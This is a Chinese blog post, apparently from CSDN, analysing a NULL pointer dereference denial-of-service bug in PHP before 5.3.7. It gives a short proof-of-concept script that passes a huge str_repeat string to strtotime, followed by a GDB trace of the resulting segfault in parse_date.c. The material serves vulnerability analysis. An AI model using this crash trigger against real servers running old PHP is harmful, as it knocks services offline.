PHP空指针,PHP 5.3.7之前版本空指针引用拒绝服务漏洞

这篇博客探讨了一段PHP代码导致的内存溢出和时间解析错误问题。通过`str_repeat`函数创建了一个巨大的字符串,然后尝试使用`strtotime`函数解析,引发了错误。在调试过程中,程序崩溃并产生了core dump。作者使用GDB进行调试,发现错误源于双时间区配置。文章深入分析了错误原因和内存管理,并可能涉及PHP性能和错误处理。
摘要由CSDN通过智能技术生成

127# ulimit -m 100000

127# ulimit -v 100000

127# cat /www/strtotime.php

<?php

$strx=str_repeat("A",$argv[1]);

var_dump(strtotime($strx));

?>127#

127# /cxib/5371/build/bin/php /www/strtotime.php 33388888

Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php

(gdb) r /www/strtotime.php 33388888

Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.

0x0806e8bd in add_error (s=0xbfbfcf90,

error=0x83ea7d8 "Double timezone specification")

at /cxib/5371/ext/date/lib/parse_date.c:355

355 s->errors->error_messages[s->errors->error_count -

1].position = s->tok ? s->tok - s->str : 0;

(gdb) print s->errors->error_messages

$1 = (struct timelib_error_message *) 0x0

(gdb) print s->errors->error_count

$2 = 1835009

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值